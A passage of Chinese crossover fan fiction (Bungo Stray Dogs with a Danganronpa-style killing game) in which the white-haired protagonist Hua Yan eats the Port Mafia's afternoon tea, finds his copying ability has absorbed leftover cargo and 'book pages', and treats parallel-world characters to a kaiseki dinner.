中原中也在找这两人之前就已经吃过了午饭,拉面店里味道有点大,这两人一时半会儿也吃不好,闲着也是闲着,他干脆去店外抽了根烟。 等他抽完烟进来,这两人倒是吃的差不多了,确切来说,是“太宰治”吃的差不多了,花言还在埋头吸拉面,对方手边已经堆积了好几个空碗,这架势像是想要把这家店的所有种类拉面都尝个遍。 中原中也看向“太宰治”的视线裹挟上了些许谴责,不是因为花言吃得太多——毕竟这家店的拉面价格十分实惠,哪怕对方吃上几百碗也抵不过一家高档料理餐厅的一餐,因此他是在谴责“太宰治”花言都饿成这样了,对方还有闲心看后者当什麽流浪汉。 “太宰治”下意识想要辩解,但又觉得在这种情况下自己说什麽都有点苍白,让中原中也维持这样的误解似乎也不错,于是将辩解的说辞咽回了去。 直到手边的碗堆积到了五个,花言才意犹未尽地停下。 “吃饱了?” 中原中也倚靠在门框边,指尖夹着第二根烟,见对方点头他才掐灭烟头走进来结账。 考虑到以“太宰治”的性格和那些人对花言的在意程度,前者绝对不会轻易让花言孤身一人去港口mafia,想要分开这两人太麻烦,花言的行踪又难以捕捉,中原中也结完账干脆将两人一块塞进了车后座。 为了节约时间避免“太宰治”在路上整什麽事,他一路火花带闪电,马不停蹄地将两人打包送到了森鸥外面前。 森鸥外坐在办公室中,神情微妙地看着被中原中也提进来的两人。 中原中也嫌司机开得慢,把司机提到了副驾驶自己开车,明明不是赛车硬是开出了赛车的感觉,一路车速飞快,急停急刹,还带漂移,花言刚吃饱,现在被颠了一下有点想吐。 “太宰治”对此倒是接受良好,不过他一进港口mafia就有点不舒服,再加上自己现在的人设是港口mafia首领,一会儿还要面对森鸥外,他就更不舒服了,有一种莫名的倦怠和反胃。 以至于这两人坐在森鸥外面前都是一副半死不活爱答不理的样子。 森鸥外目光看向了中原中也,后者带着黑色皮质手套的手握拳抵在唇下干咳了两声,解释道。 “抱歉,BOSS,我开的可能有点太快了。” 原来只是晕车吗? 森鸥外注意力又落回了白发青年身上,“花……” 花言大致能够猜到对方想问他什麽,换做平时他可能会认真地虚与委蛇一下,但现在他的胃实在是有点不舒服。 他抬手打断了森鸥外,另一只手捂着唇,“抱歉,我有点想吐,你有什麽事可以问太宰。” “太宰治”之前不想跟森鸥外置触,所以一直在尽力回避,不给对方可乘之机,但没想到现在还是要面对,他神情更萎靡了。 有气无力地点头,“是啊,虽然很不想看见森先生你这张脸,但花言身体不舒服也是没办法的事,有什麽问题跟我说吧。” 森鸥外没有拒绝,他顺水推舟似关怀般朝中原中也叮嘱,“既然这样,那麻烦中也君带花言君去卫生间或者休息室休息一下吧。” 花言看出了森鸥外想要分开他们的想法,不过他并不在意,能够让“太宰治”代替他动脑应付森鸥外也是个不错的选择,更何况,如果真的有什麽问题,“太宰治”也能够直接联系自己。 他跟着中原中也一路出了首领办公室,沉重的大门在身后闭合,身侧的橙发青年有些不自然地问道。 “你是想去卫生间吐一会,还是想去休息室喝点什麽缓缓?” 花言果断选择了后者,“我想去休息室。” 开玩笑,他好不容易吃到的拉面怎麽能这样就吐了,当然要吃点其他的东西缓解一下。 说起这一点,花言沉吟着问出了一个看似毫不相干的问题,“港口mafia……提供下午茶吗?” 中原中也:? 中原中也不太明白对方为什麽会问这一点,不过这并不妨碍他回答。 “提供。” 中原中也一边领着对方往休息室走去,一边顺带给对方介绍了一下港口mafia各层员工之间不同配置的下午茶都有哪些内容。 花言努力暗示,“好吃吗?” “味道还行。” 中原中也没有察觉到对方的暗示,他推开休息室的门,随口说道:“过会要到下午茶的点了,现在让他们多准备一份有点来不及,如果你好奇味道,我可以把我那份给你。” “真的吗?”花言喜出望外,没想到自己一来就能吃到仅次于港口mafia首领下午茶的豪华配置。 “当然。” 中原中也注意到对方惊喜的反应,不知怎麽又想起对方在拉面店埋头吸拉面的一幕,轻轻一哂,“如果你还吃得下,现在我就可以让他们送过来给你。” 有对方这句话,花言就安心了。 他迫不及待地拉开桌子旁边的椅子坐下,“那就麻烦你了。” 中原中也:…… 感情你这家夥真吃得下啊?! 话都已经放出去了,自然没有收回的道理。 中原中也费解地看了眼花言因晕车而苍白的面色,还是打电话让下属提前将下午茶送过来。 港口mafia效率极高,再加上中原中也干部的身份,不到五分钟下午茶就被送到了花言面前,后者在拿起勺子准备逐一尝个遍之前,不忘矜持地问一下中原中也。 “你要吃吗?” “……不吃。” 中原中也不理解为什麽对方吃的明明是他的下午茶,坐的地方也是港口mafia的地界,他却有种自己才是客人的感觉。 花言乐不思蜀地将甜品都尝了个遍,尝完才从自己喜欢的开始吃。 有了糖分缓解,大脑又开始转动,想起了“太宰治”那边。 森鸥外在“太宰治”身上最在意的一点应该是有关对方身份的事,他跟“太宰治”详细描述过人设,因此对方应该不会露出破绽。 对于其他方面,他相信以他们之间的羁绊,“太宰治”一定会成功将港口mafia的注视从他身上转移走的。 说起来……港口mafia首领的下午茶跟干部的有所不同,也更丰富一些,下一次还不知道有没有机会再来港口mafia吃到,既然他现在来都来了…… 花言悄然戳了一下“太宰治”,先表达了自己的问候。 [情况怎麽样?] 这一下似戳破“太宰治”的一直憋着的苦水了,对方滔滔不绝地抱怨。 [啊啊……真的是太糟糕了,我就说为什麽从一进来就有种恶心粘腻的反胃,原来是被打上主意了。花言你知道吗?他居然想让我留在这里做干部,还想让我问问你有没有这个意向,怎麽可能——谁会这麽做啊!以他的性格绝对会把人压榨到死吧!得知不行后,又开始跟我打探你们在那个学院平行世界的事情,和与你有关的所有信息……] 花言默不作声地听着,等对方说的差不多,问及他的想法。 花言才试探着回道。 [你能帮我问问森鸥外他的下午茶能不能给我吃吗?] “太宰治”:? 首领办公室中,森鸥外还在试图打感情牌。 “太宰君,说真的,在学院当校医的时候,我一直在担心这边的工作会不会都堆成了山,港口mafia会不会都已经因为大半上层的消失而已经乱作一团。没想到你们会帮我处理这期间的工作,处理得也相当完美,真令人安心。平行世界的那个我有你的协助,港口mafia一定发展得相当壮大吧,真羡慕呢。” “不对哦,森先生,我跟那个‘森先生’可不是同一个世界,我世界的森先生已经退休去孤儿院当院长了。”“太宰治”搬出花言告诉他的说辞,否定了森鸥外的话。 他笑眯眯地继续说道:“如果想要感谢我们帮你工作,那把你今天的下午茶给花言享用吧,怎麽样?” 森鸥外:…… 暂且不提为什麽对方世界的他会这麽早退休去当孤儿院院长,他本来以为“太宰治”会提出更过分一些的报酬的,这样他就可以趁机拿出对方用港口mafia资产去给花言洗情报、创身份、还整了套住宅的事。 但现在对方提出的报酬价值近乎于无,甚至都不是可以用于交易的东西,以至于他现在都不知道该说什麽。 半晌,森鸥外缓缓开口,他脸上流露出为难,“不是我不想,只是这件事情可能要看爱丽丝的意思,今天的下午茶里有她最喜欢吃的蛋糕……” 似为了彰显这句话的真实性,一名金发少女推门而入。 她喊着“林太郎”蹦蹦跳跳地一路跑进办公室,没等靠近森鸥外,询问对方今天的下午茶怎麽还没送到,半路忽然伸出一只手摸上了她的头。 温热的手掌触及柔软的发稍,爱丽丝骤然意识到了什麽,她错愕地睁大了眼睛,愤怒接踵而来。 金发少女从出现到消失,整个过程不到一分钟。 爱丽丝消失前气愤指责森鸥外的尖锐嗓音还在办公室回响。 “笨蛋林太郎!明知道这个讨厌的人在这里,你居然还把我喊出来?!” “太宰治”轻描淡写地收回手,假装自己不是故意用“人间失格”无效化对方的,他若无其事地说道:“森先生,爱丽丝好像没有意见呢。” 森鸥外:…… 第90章 花言没有第一时间得到“太宰治”的回复,当他以为森鸥外他们已经吃上下午茶的时候,对方才出声表示已经送过去了,长时间的沉默像是在对方在表示无语一样。 中原中也只见坐在桌边的白发青年忽然加快了进食速度,在最后一块布丁被对方塞进嘴里的下一秒,门再次被人敲响。 中原中也疑惑地喊了声“进”,发现走进来的员工手里推着个小餐车,上面摆放的赫然是本该送到首领办公室的下午茶。 负责送下午茶的员工尽职尽责地说明原因,“打扰了,中也大人,首领让我把下午茶送给这位先生。” 中原中也下意识看向桌边的花言。 虽然花言对此早有预料,但还是要装一下的。 “哇,给我的吗?你们首领也太客气了,这怎麽好意思呢?” 展现完惊讶,他迫不及待地指了指已经清出位置的桌面。 “辛苦了,放在这里就好。” 中原中也:…… 如果对方没有加快进食速度那一段,表示惊讶的语气中喜悦再少一点,他会更相信对方不知道会有第二份下午茶送来。 如果他没记错,对方刚刚还是一副半死不活的样子吧?! 亏他还为开车太粗暴而感到愧疚,没想到这人恢复力惊人,不仅已经完全看不出身体不适的样子了,还能胃口大开,在已经吃了好几碗拉面的情况下再吃两人份的下午茶。 中原中也简直要被对方反客为主的举动气笑了。 这让他不禁怀疑起自己究竟有没有在对花言的判断上被“太宰治”误导,“花言,你抢港口mafia的那批货,到底要用来做什麽?” 对方之前的说辞是有自己的目的,但是他直到现在都没看见对方拿出来用过,倒是在那场自相残杀游戏里看见黑白熊作为奖励拿出来了。 如果当时没有传出花言身体自从自相残杀游戏开启后就不好的消息、后面对方的做法也确实证实了自己不是幕后黑手,那他绝对会怀疑对方抢这批货就是为了当毕业奖励。 花言动作微顿,想起了这回事。 他会留着这些货物的原因是为了越狱,现在他从副本出来直接回到了横滨,跟费奥多尔也解除了误会,留着这些东西也没用。 “现在已经用不上了,我还给……” 花言话还没说完,又想到了新的问题。 现在那场自相残杀游戏是以同归于尽为收尾,那黑白熊作为奖励从他们身上拿走的东西是会物归原主,还是会与那场爆炸一同化为尘埃? 提起这一点,花言想到了最近一直都静悄悄的系统。 为了以防万一,他还是确认一下比较好…… 花言复制了异能建筑空间衔接在休息室门后,准备进异能空间二楼港口mafia的武器库,“稍微等我一下。” 中原中也微微颔首,目送那道白色身影消失在门后。 建筑内的布局一如既往,花言直奔武器库,看见里面整整齐齐码放的货箱,松了口气。 他清点了一遍货物,武器库里的东西也都没什麽问题,除了那瓶被他用掉的药,其他都在。 花言感觉自己似乎冤枉了系统,也许对方只是因为构建副本耗费了太多精力,又一次性撤销副本而有些疲软,所以才一直不出声。 其实认真想想在这个副本里他跟费奥多尔的关系确实好了起来,虽然有那麽点曲折吧,但最终结果还算不错。 系统只是个实习攻略系统,还装了十几个杀毒软件,能够做到这种程度已经很了不起了。 花言宽慰了自己,也宽恕了系统。 他看着唯一一个空缺了一个格子的货箱,有些后悔不该在用完后直接把瓶子丢掉,否则现在还能放回去假装自己没用过。 指尖抚上凹陷下去的空缺,如果都还回去,港口mafia肯定能够从少这个格子里得知自己用了什麽药,这样一来说不准又会有什麽麻烦事,还不如干脆把这一箱都扣下好了。 少了总比没有好,他都说可以把货物还给对方了,想必中原中也也不会跟他计较这一点。 不过果然,还是完好无缺比较方便…… 在这个念头清晰的那一刻,花言指腹忽然触及了光滑冰冷的物体表面,他下意识垂眸看去,发现原本空缺的地方已经被药品填充了。 花言:? 他错愕地拿起那瓶本该已经用完的药物,来回比对了一下周围的同种药物,发现一模一样。 该不会是…… 花言选中目标取消异能,手中的药物化为光点消失,他看向堆成山的货箱,下一秒货箱也同步消失。 花言倒吸一口冷气,为了验证猜想,他再一次仔仔细细地搜索了一遍建筑。 终于,在最上层的首领办公室抽屉里,他找到了一张写了一半内容的纸。 花言尝试地用了异能,手中的纸变成了两张,再选择性撤销了一部分异能,其中一张纸上被书写的文本瞬间消失。 花言沉默地看着手中一张完全空白的“书页”,以及一张写了一半针对武装侦探社阴谋的“书页”,大脑放空。 半晌,他抬头望向天花板,语气悠悠。 [马路牙子啊……] 【呃……哈哈,宿主,我在呢。】 系统秒应答,它心虚地试图转移话题。 【宿主,你在副本里最后一晚的表现实在是太帅了,没想到那种死局都能被你找到破解方法,宿主你好聪明,这一下即不需要攻略目标主动牺牲,也不会被攻略目标设计,他肯定也没想到在如此严密的布局里,你还能找出第三条路,你是我见过的,最厉害的宿主……】 花言嘴角微不可察地上扬了几度,又很快想起了正事,努力压下上扬的嘴角。 [我觉得你才是最聪明的。] 他一语说出真相。 [你最近一直不主动出声,该不会是发觉了事情不对,所以在想怎麽藏“书页”,不让我发现异能上的变化吧?] 被说中了的系统大气都不敢喘,虽然它原本就不用喘气。 [不用紧张,我没有责怪你的意思。] 花言手里捏着“书页”,坐在办公椅中思索。 [我只是有个问题,为什麽我的异能能够复制这些东西了?这些东西又为什麽会到我这来?] 他的异能不是只能复制游戏里的东西吗? 还是说,跟副本有关? 从副本结束,他们是统一回到横滨来看,在副本里用的身体应该是他们自己的,只不过为了更贴合副本中的不同身份进行了不同的调整,比如说扮演学生身份的人年龄会倒退,扮演教职工之类的人年龄上就没有变化。 既然身体是自己的,那进入副本时身上携带的东西会被黑白熊拿去当奖励也不是不可能。 虽然从进入夜晚那所学园的方式来看,他们只有精神进入了,但从夜晚的规则能够更改白天的规则,以及黑白熊那句“这里可没做梦那麽简单”的提醒,则说明夜晚的世界在某种程度上也是与白天无二的真实世界。 死亡是真实的,奖品当然也是真实的。 因此会导致真实物品同化为他异能的原因只有—— [是因为这个副本本质上是由你在我异能基础上构建的,而我最后炸了校园,跟所有人同归于尽,不仅没有按照原定剧本选出最终胜利者,结束的还十分突兀。导致你没能反应过来分开缝合的副本,让夜晚的那个副本跟学院副本一起,在我撤销异能时被回收了?] 花言若有所思地说出自己的猜测。 [所以夜晚的那个副本中残留的东西才都变成了我的异能,是吗?] 【是这样的……】 系统没想到自家宿主居然这麽快就能反应过来。 花言感叹了一声,[那我运气好像还挺好的。] 毕竟以当时的混乱情况,“书页”就暂且不提了,这批货物居然还能在火光冲天的环境下坚持到他们所有人都死了再被回收。 难道这就是“超高校级的幸运”吗? 系统不知道自家宿主感慨的点,它听出对方似乎真的不介意,又恢复了自信。 【其实不止“书页”和这些货物,宿主,我复制出来、实体化的数据库也融进你异能里了,现在你想要什麽样的副本都可以自己选择了……不过暂时只能浏览,其他方面还是需要我来操作的。】 花言懂了,就像是他有对方数据库的浏览权限,但是却没有使用和修改权限一样。 他其实不是很想要对方的数据库,毕竟对方数据库里有十几个杀毒软件,别给他异能也整出问题了。 不过…… 花言是真没想到居然还有这种开展,他看着手里的两张“书页”,思绪无端偏移。 ——他在学级裁判中自己为了被当幕后黑手而投出去,而编造的、有关“书”和“书页”的谎成真了,他现在真的有很多“书页”了,想编多厚的“书”就编多厚的“书”。 [我说马路牙子啊……] 花言再一次发出了质疑。 [你真的是攻略系统,而不是什麽龙傲天、救世主系统吗?] 怎麽副本结束,他在攻略任务上的进度远远比不上他异能增加的强度。 [而且,你真的觉得我现在的异能没有威胁到这个世界的安全吗?] 【我当然是攻略系统……】 系统首先强调了对方前一个问题,在后一个问题上它现在也有点不确定。 【应该没有吧?现在的世界看起来还好好的,而且宿主你的攻略进度也没有因为异能而快到异常的程度。更重要的是……前辈们都说副本结束后该给宿主奖励,所以把这个作为奖励也很正常吧?】 原来是这麽判定的吗?! 花言瞳孔地震。 如果他攻略进度一直没多大进展,那对方再多设几个副本下来,自己不得强到原地成神了? 不愧是实习攻略系统,小作坊下料就是猛。 花言颇为感叹。 他抹消新复制出的“书页”,将原来那张重新放回了抽屉,安置好“书页”才撤销复制出的建筑空间,重新回到港口mafia。 休息室的门没关,中原中也倚坐在沙发扶手上等着花言,见后者身形重新出现,毫不意外地问道。 “异能空间?” 早在对方抢劫仓库时,他们就对此有所猜测——抢劫货物的人中一定有个空间系异能者。 既然对方能够将平行世界的他们带来这里,那剩余的能力肯定都来源于对方。 “嗯。” 花言还在思考该怎麽跟对方解释货物的事情,有些心不在焉。 中原中也注意到对方的走神,微微挑眉,“怎麽?你该不会说东西被黑白熊偷走后,跟那场爆炸一起化为灰烬了吧?” “也没有那麽糟糕。”花言墨镜下的视线游移,“现在有一个好消息和一个坏消息,你要先听哪个?” 中原中也轻啧了一声,“坏消息。” “坏消息是虽然东西还在,但是可能得警惕一些拥有异能无效化的人。”花言委婉地暗示。 中原中也:…… “你直接报太宰治的名字得了。”中原中也不吃弯弯绕绕这一套,“所以那些东西变成异能构建的了?” “可能是吧……” 花言也不太确定这一点,没准他的异能会看在能复制无数张“书页”的份上,产生某种升华,脱离异能的作用域呢? 这种不确定的语气落在中原中也的耳朵里近乎就是肯定,他耐着性子继续问:“那好消息是什麽?” “好消息是除了我答应还给你们的那批货物之外,你们可以用那批货物的半价,在我这里再买到一份相同的货物。” 花言思来想去,觉得中原中也说得对,哪有当流浪汉赚钱的,等他攒到足够请客吃饭的钱,都不知道那家怀石料理餐厅还在不在了,所以他决定换一种方式赚钱。 中原中也:? 中原中也转头望了眼桌子上对方吃得干干净净的双份下午茶,又转头看向门口一脸认真诚恳的白发青年,简直匪夷所思。 这家夥怎麽连吃带拿的啊?!魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-100 第91章 最终中原中也和森鸥外还是同意了花言的交易,原因无他,除去有可能会被异能无效化这一点,这批货其他方面与真实货物无二,无论是武器还是药物都一样有用。 这让中原中也怀疑对方的异能会不会是复制粘贴,但问出口又觉得应该没有人会有这种下限低又没有上限的荒诞异能,再加上花言平静的反应和“太宰治”脸上的嘲弄而打消了怀疑。 森鸥外没有在“太宰治”身上得到什麽有用的信息,后者早已不像少年时那样好懂,甚至还多出了一些他所看不懂的东西,似有着比他还要丰富的经历。 因此他试图在花言身上得到点什麽,比如说压一点价格,只可惜有“太宰治”在场,最后还是失败了。 花言满载而归地出了港口mafia。 “太宰治”他们在给他弄身份的同时,也把日常普通人会用到的东西都准备好了。 花言举起手里的卡。 现在他也是个身价过亿的有钱人了,虽然是日元的亿,但好歹有钱了。 花言兴致勃勃地回头看向“太宰治”,“晚餐要吃点好的吗?” 对方之前在中原中也请客的时候就好像想吃点高级的东西了,现在他可以请对方吃。 “太宰治”并不是真的想吃好的,他只是想宰一下中原中也而已,听见对方的话,他有气无力地摆了摆手。 “不了,花言,我要回去了。” “嗯?” 花言有些诧异,他之前在送“织田作之助”离开时本来想送对方走,但对方无论如何都要留下,说是想再看看这个时间线比他们更快的世界,想从中找到一些拯救他们世界的头绪之类的,怎麽现在又改变主意了? “你不打算拯救世界了吗?” “太宰治”一言难尽地瞥了眼花言,怎麽这麽正常的内容被对方说出来有一种古怪的羞耻感。 他叹了口气,脸上满是疲惫,“我觉得比起跟森先生打交道,我宁可回去工作。” 一提到这个,“太宰治”又有点想吐槽,他表情近乎痛苦地扭曲,宛如吃了什麽令他分外反胃的东西。 花言不理解,但是他尊重对方的决定,就近找了个监控死角的巷子送对方回去。 该说森鸥外不愧是地下医生起家的吗?经验果然老道,一下子就把“太宰治”不想上班的毛病治好了。 花言四十五度抬头望向巷子口上方的狭窄天空,深深叹了口气,从现在开始,他就是孤身一人了,坐拥亿元财富享无边孤单…… 【宿主?】 系统在此刻忽然冒头,没有了干亏心事的包袱,它又恢复了昔日的活跃。 【接下来我们去哪?去找攻略目标吗?他之前说很期待你的到来呢!】 说到最后,系统电子音忍不住上扬了几个音调。 花言:…… 他差点忘了自己还有个系统。 花言摸着手里的卡,试图拖延。 [等明天吧……现在已经很晚了。] 这麽晚去找费奥多尔会不会有点不合适?他们之间的关系好像还没到可以夜晚找对方的地步…… 更重要的是他还没想好找对方干什麽,也没想好要说的话题。 所以还是先吃饭吧。 既然现在既然已经有钱了,那是时候请客了。 请学生版的“太宰治”吃了,四舍五入就等于回去的“太宰治”也吃了。 深巷内消散的异能光点再次凝聚,一道穿着黑色学生制服的黑发少年出现在原地。 后者卷翘的发稍伴随着抬起眼帘望向周围时的动作而晃动,一双鸢色眼眸里满是新奇。 “这就是花言你所在的那个世界吗?” “没错。”花言肯定了对方的猜测,说明喊对方出来的来意,“是这样的,因为结束的太匆忙,你们又帮了我很多,所以作为感谢,我想请你们吃顿晚饭,想让你帮我问问他们有没有空,又或者是……问问他们想吃什麽。” 学院线众人之间的关系不像主线中的那样紧张,“太宰治”虽然性格很多时候会令同伴头疼,但不可否认的是对方人缘真的很好,在学院线中跟任何人都有接触,因此对方是最合适做这件事的人选。 只不过他还是低估了他与他们之间的关系。 “这种事情根本不值得花言你特意把我们都找来感谢啦,嗯嗯……如果你非要感谢的话,我们也会欣然接受的。” “太宰治”似说服了自己,点了点头,难得有机会全方位了解对方所在的世界,他兴致高涨,“这种问题根本不用问我们,只要是你找我们,我们什麽时候都有空哦,包括吃的也是……” 吃的……也是吗……? “太宰治”迟疑了一瞬间,很快改口,“只要不是茶泡饭、豆腐汤、汽水、可丽饼……其他的都行。” 花言:…… 对方怎麽把经验材料的种类记得这麽齐全? 这种似曾相识的反应让他想起了“与谢野晶子”。 “那我们吃怀石料理怎麽样?” “太宰治”不置可否,似单纯感慨,“听起来是很贵的那一类呢。” 换做其他人这麽说,他肯定毫不犹豫地就同意了,但是…… 如果是花言的话,他很担心对方的钱包能不能支撑得住。 花言言简意赅地安抚,“另一个世界的你帮我从森鸥外手里一分不差地赚到了五亿。” “太宰治”相当了解在有异能的世界中“自己”与森鸥外的糟糕关系,他缓缓眨了眨眼睛,“诈骗还是勒索?” 花言:…… 对方还挺了解自己的,好像也挺了解他的。 所以对方为什麽会轻易接受这个设置,难道是因为自相残杀游戏视频里,他拳打港口mafia脚踢“死屋之鼠”——横滨所有组织都挨了一巴掌的内容吗? “开玩笑的啦。”“太宰治”嗓音重新变得轻快,“我们先去餐厅约好单间吧,到时候你直接找他们来就行,不然过去的时候人太多会给你造成困扰吧?” 其实无所谓,不过考虑到现在过来还要走一段路,那显然还是直接在餐厅再使用异能找他们过来比较好。 他采纳了“太宰治”的提议,与对方一同去了餐厅,通常这种店都需要提前预约,不过他们很幸运,来的时候刚好有单间。 花言核对了一下人数,确认没问题后使用了异能。 细微光点在房间中飘散,盈盈微光近乎盖过顶上的灯光,一道道身影逐渐从光粒组成的光海中浮现。 不用花言再次说明找他们的缘由,“太宰治”相当自觉地走上前跟其他人说明了情况。 得知其实对方只是单纯想请他们吃饭的众人表情都展露出了些许诧异,下意识看向那个身形抽条得修长匀称的白发青年,下一秒,他们之中脸皮薄的那一类跟花言开始了来回客气地感谢环节。 直到“江户川乱步”翻看完菜单,招来服务员点餐,这个环节才算结束。 这里没有外人,在座的其他人也都已经知道了他的秘密,花言干脆把鼻梁上的墨镜推到头上,露出了那双一直遮掩的七彩眼眸。 一直戴着墨镜也挺累的,别把他鼻梁压塔了。 花言捏了捏鼻梁,试图恢复一下。 “与谢野晶子”余光注意到花言的小动作,关切地问道:“最近很疲倦吗?是处理后续太麻烦了?” “不是啦,他单纯只是怕一直戴着墨镜,鼻梁被压塌,所以捏一下试图补救而已。” “江户川乱步”一针见血地说出了实话,他舀起一勺布丁塞进嘴里,含糊不清地继续说道:“原本我也有点担心这样做,后续会不会给他造成麻烦,但现在来看,他的运气确实很不错。” “费奥多尔”赞同地点头,“我还是第一次遇见这种风险程度极高的计划不仅能按照预计的结果走,甚至每一环都完美达成最高预期的情况。” 花言闻言有些好奇他们究竟都知道了什麽才会共同选择施压黑白熊加快进度。 “江户川乱步”看出花言的好奇,他咽下嘴里的布丁,给对方说明情况,“在你们过来的那一刻,身份相撞的我们就被送进了那个电影院一样的地方,这个电影院晶子跟你说过,我就不复读了,总之里面的规则就是你知道的那样,只不过在你强行打开第四层,得知了‘观众’这个存在——黑白熊公布了‘观众席’的存在开始,我们手边就出现了一个类似于投诉的按钮,添加了一条规则是类似于打分评论那种的东西,如果对剧情不满意可以投诉之类的。” “听起来像是伴随着进度增加,你们的权限也增加了起来。”花言做出了点评。 更具体点说,像是那种双线游戏,当另一边的玩家点亮了特定剧情点,这边的玩家就可以得到奖励,然后用奖励去协助对方通关。 “本来我们是不想那样做的,毕竟另一个世界白色的太宰不是说最好不要那麽着急结束吗?” “江户川乱步”提起这一点皱了下鼻子,“但是……我们其实也不确定花言你是不是扮演了幕后黑手的角色,因为我们是‘观众’,所以我们投诉直播偏离了自相残杀的主题。” 第92章 “江户川乱步”说的有些笼统和模糊,但花言能够明白对方的意思。 “观众席”是上帝视角,能够发现比其他视角更多的东西。 纵然自己是第一次出现在他们面前,后者了解自己的具体性格也是从那一刻开始,但早在这之前,他们就已经接触到自己了。哪怕那个时候没有语言的交流,没有具体的形象,有的可能只是模糊的概念与笼统的意识,也足够他们判断出自己的大体性格与喜好了。 黑白熊程序中有他的数据,或许是因为这一点,让拥有上帝视角、观察更细微的他们从黑白熊身上发现了熟悉的影子。 再加上他在失忆状态下展现出的、对希望之峰学园无比了解的熟稔,以及与其他参与者的对比,他是幕后黑手的可能性确实不低。 更何况,考虑到能够与“观众”身份联系最为紧密的关系,也只有幕后黑手。 ——幕后黑手主导了这场表演,由书写好程序、自行运转的人工智能黑白熊为主持,向观众展现了这场精彩的直播。 固然最后一晚前费奥多尔提出了——“幕后黑手的存在可能只是一个伪命题”的可能,但在“观众席”的众人都相当了解费奥多尔的作风,不会抱着侥幸去赌这一点可能。 他们应该是通过荧幕从其他各个组织众人口中有关他的讨论里判断出了他的处境,得出了“如果他被确定为幕后黑手一定会出现糟糕后果”的结论。 他们并不在乎他是不是幕后黑手,也不在意他做这一切的目的,他们只想将所有人都未知的答案提前掰向“他不是幕后黑手”这一边。 当时他已经进入了费奥多尔设计的死局,又不愿意在最后一晚开启前让对方自杀出局,再加上那些设置好时间爆炸的炸弹,一切都让时间变得分外紧迫。 如果炸弹爆炸,黑白熊没有开启最终的学级裁判查找幕后黑手,那他到时如果凭借“幸运”独自活下来,自然而然会登上幕后黑手的位置——哪怕他其实是想替费奥多尔推动计划也一样。 而如果黑白熊开启了最终的学级裁判查找幕后黑手,其他人选出了他,他又刚好符合黑白熊所设置的“幕后黑手”的定义,被确定成了幕后黑手,炸弹在他处刑的那一刻爆炸,那后果肯定更糟糕,甚至看起来就像是幕后黑手玩不起,所以掀棋盘了一样。 因此,作为“观众”的他们结合种种线索、可能、因素,一切的一切,制定出了一个风险度极高的计划——利用“观众”的身份投诉。 投诉这场游戏偏移了互相猜忌的自相残杀主题,赌黑白熊会不会在意“观众”的看法,也赌对方究竟会不会老老实实遵循规则。 他们想借此给黑白熊施压,逼对方加快游戏进程,逼对方创造死亡,从而将“幕后黑手”彻底变成假定的存在。 从黑白熊之前增加校规时作风来看,比起遵守规则,它更像是为了让所有人感到绝望而不择手段。 也就是说,在对方的程序中,规则什麽的极有可能都没有散播绝望的优先级高。 一旦黑白熊考虑到“观众”的想法,为了让参与者淘汰彼此,它一定会选择加快游戏进程,选择在最后环节上设计文本陷阱散播绝望,将重点从“真相”更改成“猜忌”,用“幕后黑手”这个词汇逼迫所有参与者投票处刑彼此中最可疑的存在。 由此不仅能达到“观众”想看的东西——相互猜忌的自相残杀游戏,也能达到它想让所有人坠入绝望的目的。 如果他没有安装炸弹的话,说不准黑白熊真能达成目的,毕竟就算所有参与者后面反应过来幕后黑手可能只是个假定位置,只要黑白熊一口咬定幕后黑手就在存活的参与者之中,再配上无论如何都出不去的校园,难保各个组织之间不会怀疑对方,也难保不会有人因此感到绝望。 现在“幕后黑手”变成了假定存在,炸弹也在他被“冤枉”成幕后黑手处刑的那一刻爆炸,因游戏场地被摧毁、参与者都同归于尽,副本也被强行结束。 拉所有人同归于尽的做法被他自认幕后黑手的行为覆盖,副本恰到好处的结束显得像是他知道想要结束这一切只能选择这种方法一样,不仅顺利摆脱了“幕后黑手”的嫌疑,说不准还能在其他人心中都刷个好印象,盖过之前“骸塞”里发生的强控事件。 在这个计划中,哪怕有一个地方出了问题都可能会满盘皆输,而幸运的是他的“才能”填补了他们计划中的风险,将每一环都做到了最高预期,最终才迎来计划所能得到的最好结果。 花言感动的当即又加了几个菜,怀石料理贵且少,这里的人除了他都是在长身体的时候,一份里的这点东西够谁吃的。 “江户川乱步”比较喜欢吃甜口的东西,面前摆放满了餐后甜点,见对方如此迅速就明白了他的意思,心情好了不少,咬着勺子继续说道。 “嘛,反正从结果来看,一切都很顺利,虽然我依旧没办法从你身上乱七八糟的信息里得知有关你身份、目的……之类的东西,也不知道你为什麽会找平行世界的‘我们’商量帮你追你这个世界的费奥多尔的事,不过你不用担心,你想追他的事情绝对没有暴露给除我们以外的其他人。” 花言:…… 花言委婉地把“江户川乱步”桌面上的甜点堆得更高了,试图借此堵住对方直言不讳的嘴。 “太宰治”看热闹不嫌事大地点头附和,“没错哦,可能黑白熊的处理是有那麽一点粗糙,以至于在你跟费奥多尔两人共处一室的时候会出现全屏马赛克,连声音都听不见的情况,不过往好处想想,你的秘密最起码被保守的很严实……” “太宰治”像是想到了什麽有趣的画面,没忍住笑出了声,“头一次看见这种情况发生的与谢野晶子和立原道造都露出了一副不知道发生了什麽的茫然表情,他们还以为是故障呢。” 花言:…… 他光顾着给“江户川乱步”放甜点,忘了你是吧? 花言无言地给对方端了几碟蟹腿。 “提起这一点,我也有点好奇。”“费奥多尔”还是问出了这个问题,“您为什麽会对这个世界的‘我’一见钟情?” 没等花言回答,“江户川乱步”一边挖着草莓大福里的草莓,一边点出了对方话里的错误地方。 “不对啦,他根本不是一见钟情……” “与谢野晶子”感受到了花言散发出的不妙气息,她一把帮“江户川乱步”挖出了草莓送进后者口中,强行打断了后面的话,“乱步,你快吃吧。” “江户川乱步”没有察觉到异样,他幸福地嚼着嘴里沾满巧克力酱的草莓,理所当然地将剩余的草莓大福都推到了“与谢野晶子”面前,让后者帮他挖,自己节省时间去享用其他甜品。 “原来不是一见钟情吗……?”“费奥多尔”若有所思地点头,“难道您已经认识了他很久?还是说这跟您的目的有关?” “差不多吧……” 花言将可能会符合对方口味的熟食都端到了对方面前。 “费奥多尔”接收到花言的意思,莞尔一笑,低头品尝对方端过来的食物,没有再开口。 另一头吃完蟹腿的“太宰治”又有空发言了,“所以……花言,你的进度怎麽样?” 在费奥多尔和花言撞在一起晕过去的那晚发生了淘汰事件,因此他们从那一幕开始,往后两人再共处一室、或者说是没有其他能够选择的视角角色在场时,所看见的画面都是一片静音动态马赛克。 “现在他们应该都能从最后黑白熊的话语里明白你不是幕后黑手,你应该跟他澄清误会了吧?”“太宰治”相当好奇这个答案。 